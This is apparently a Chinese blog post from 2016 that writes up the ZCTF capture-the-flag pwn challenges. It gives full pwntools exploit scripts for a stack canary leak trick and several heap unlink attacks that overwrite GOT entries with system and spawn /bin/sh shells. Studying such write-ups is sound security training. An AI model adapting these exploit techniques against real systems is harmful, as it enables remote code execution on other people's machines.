ZCTF-Pwn

    版权声明:本文为博主原创文章,未经博主允许不得转载。

  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结。

    文件打包:https://files.cnblogs.com/files/wangaohui/attach.zip

Pwn100

    很明显栈溢出,但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下:

所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:

 1 from pwn import *
 2 #context.log_level = 'debug'
 3 s = remote('115.28.206.86',22222)
 4 s.recvuntil('please guess the flag:')
 5 payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)
 6 s.sendline(payload)
 7 s.recvuntil('***: ')
 8 flagt = s.recvuntil('\n')[:27]
 9 flag  = 'ZCTF{'
10 for i in flagt:
11         flag += chr(ord(i)^ord('A'))
12 print flag
13 s.close()

 

Pwn200-note1

 1 from pwn import *
 2 #context.log_level = 'debug'
 3 io = remote('127.0.0.1',10001)
 4 def new(title, typ, content):
 5         io.recvuntil('Enter the title:')
 6         io.sendline(title)
 7         io.recvuntil('Enter the type:')
 8         io.sendline(typ)
 9         io.recvuntil('Enter the content:')
10         io.sendline(content)
11 def show():
12         io.recvuntil('content=')
13         io.recvuntil('\n')
14         io.recvuntil('title=')
15         leak = io.recvuntil(',')
16         printfaddr = u64(leak)
17         print hex(printfaddr)
18 def edit(title, newc):
19         io.recvuntil('Input the note title:')
20         io.sendline(title)
21         io.recvuntil('Enter the new content:')
22         io.sendline(newc)
23         io.recvuntil('Modify success')
24 def delete(title):
25         io.recvuntil('Input the note title:')
26         io.sendline(title)
27         io.recvuntil('Delete success')
28 def pwn():
29         libcstartoff = 0x21A50
30         systemoff = 0x414F0
31         io.recvuntil('option--->>')
32         io.sendline('1')
33         new('111','aaa','a1a1')
34         io.recvuntil('option--->>')
35         io.sendline('1')
36         new('222','aaa','a1a1')
37         io.recvuntil('option--->>')
38         io.sendline('1')
39         new('333','aaa','a1a1')
40 
41         payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '222' #p64(0x602018)
42         io.recvuntil('option--->>')
43         io.sendline('3')
44         edit('111', payload)
45 
46         io.recvuntil('option--->>')
47         io.sendline('2')
48         io.recvuntil('content=')
49         io.recvuntil('\n')
50         io.recvuntil('content=')
51         io.recvuntil('\n')
52         io.recvuntil('content=')
53         libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')
54         numlibcstart = u64(libcstart)
55         print 'leaked libc_start_main addr is  %x' % numlibcstart
56         numsys = numlibcstart - libcstartoff + systemoff
57 
58         io.recvuntil('option--->>')
59         io.sendline('3')
60         edit('', 'a'*40+p64(numsys))
61 
62         io.recvuntil('option--->>')
63         io.sendline('/bin/sh;')
64         io.interactive()
65 pwn()

Pwn400-note2

 1 from pwn import *
 2 import time
 3 #context.log_level = 'debug'
 4 def new(s,length,content):
 5         s.sendline('1')
 6         s.recvuntil('(less than 128)')
 7         s.sendline(str(length))
 8         s.recvuntil('Input the note content:')
 9         s.sendline(content)
10 def edit(s,idf,c,content):
11         s.sendline('3')
12         s.recvuntil('Input the id of the note:')
13         s.sendline(str(idf))
14         s.recvuntil('[1.overwrite/2.append]')
15         s.sendline(str(c))
16         s.sendline(content)
17 def dele(s,idf):
18         s.sendline('4')
19         s.sendline(str(idf))
20         s.recvuntil('delete note success!')
21 def infoleak(s,idf):
22         s.sendline('2')
23         s.recvuntil('Input the id of the note:')
24         s.sendline(str(idf))
25         s.recvuntil('Content is ')
26         return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
27 s= remote('127.0.0.1',10001)
28 time.sleep(2)
29 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])
30 raw_input('go!')
31 s.recvuntil('Input your name:')
32 s.sendline('wah')
33 s.recvuntil('Input your address:')
34 s.sendline('ucas')
35 s.recvuntil('option--->>')
36 
37 globalptr = 0x602120
38 fakefd = globalptr - 0x18
39 fakebk = globalptr - 0x10
40 content = 'a'*8
41 content += p64(0x91)
42 content += p64(fakefd)
43 content += p64(fakebk)
44 new(s,0x80,content)
45 s.recvuntil('option--->>')
46 new(s,0x0,'a'*8)
47 s.recvuntil('option--->>')
48 new(s,0x80,'b'*8)
49 s.recvuntil('option--->>')
50 dele(s,1)
51 s.recvuntil('option--->>')
52 
53 content = 'b'*0x10
54 content += p64(0xa0)
55 content += p64(0x90)
56 new(s,0x0,content)
57 s.recvuntil('option--->>')
58 dele(s,2)
59 s.recvuntil('option--->>')
60 content = 'a'*0x18 + p64(0x602088)
61 edit(s,0,1,content)
62 s.recvuntil('option--->>')
63 
64 atoiaddr = infoleak(s,0)
65 s.recvuntil('option--->>')
66 print 'atoi address is ' + hex(atoiaddr)
67 systemaddr = atoiaddr - 0x36360 + 0x414F0
68 print 'system address is ' + hex(systemaddr)
69 content = p64(systemaddr)
70 edit(s,0,1,content)
71 s.recvuntil('option--->>')
72 s.sendline('/bin/sh')
73 s.interactive()
74 s.close()

Pwn300-note3

 1 from pwn import *
 2 import time
 3 #context.log_level = 'debug'
 4 def new(s,length,content):
 5         s.sendline('1')
 6         s.recvuntil('(less than 1024)')
 7         s.sendline(str(length))
 8         s.recvuntil('Input the note content:')
 9         s.sendline(content)
10 def edit(s,idf,content):
11         s.sendline('3')
12         s.recvuntil('Input the id of the note:')
13         s.sendline(str(idf))
14         s.recvuntil('Input the new content:')
15         s.sendline(content)
16 def dele(s,idf):
17         s.sendline('4')
18         s.recvuntil('Input the id of the note:')
19         s.sendline(str(idf))
20         s.recvuntil('Delete success')
21 def infoleak(s,idf):
22         s.sendline('4')
23         s.recvuntil('Input the id of the note:\n')
24         s.sendline(str(idf))
25         time.sleep(1)
26         return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
27 s= remote('127.0.0.1',10001)
28 time.sleep(2)
29 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])
30 raw_input('go!')
31 s.recvuntil('option--->>')
32 
33 globalptr = 0x6020C8
34 fakefd = globalptr - 0x18
35 fakebk = globalptr - 0x10
36 content = 'a'*8
37 content += p64(0x91)
38 content += p64(fakefd)
39 content += p64(fakebk)
40 new(s,0x80,content)
41 s.recvuntil('option--->>')
42 new(s,0x0,'a'*8)
43 s.recvuntil('option--->>')
44 new(s,0x80,'b'*8)
45 s.recvuntil('option--->>')
46 dele(s,1)
47 s.recvuntil('option--->>')
48 
49 content = 'b'*0x10
50 content += p64(0xa0)
51 content += p64(0x90)
52 new(s,0x0,content)
53 s.recvuntil('option--->>')
54 dele(s,2)
55 s.recvuntil('option--->>')
56 content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)
57 edit(s,0,content)
58 s.recvuntil('option--->>')
59 content = p64(0x400736)[:-1]
60 edit(s,0,content)
61 s.recvuntil('option--->>')
62 
63 putsaddr = infoleak(s,1)
64 s.recvuntil('option--->>')
65 print 'puts address is ' + hex(putsaddr)
66 systemaddr = putsaddr - 0x6B9F0 + 0x414F0
67 print 'system address is ' + hex(systemaddr)
68 content = p64(systemaddr)
69 edit(s,2,content)
70 s.recvuntil('option--->>')
71 s.sendline('/bin/sh')
72 s.interactive()
73 s.close()

    加深了对堆溢出的理解,linux下free时的unlink操作由于有check,并不能达到任意地址写,为了绕过check,能将变量ptr改为&ptr-0x18(64位系统下),&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法,就是如果能达到任意地址写的话,可以将某个.got.plt项(记为函数A)修改为puts在.plt的位置,这样在调用A时,就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。

posted @ 2016-02-17 22:40  简单地快乐  阅读(3969)  评论(0编辑  收藏  举报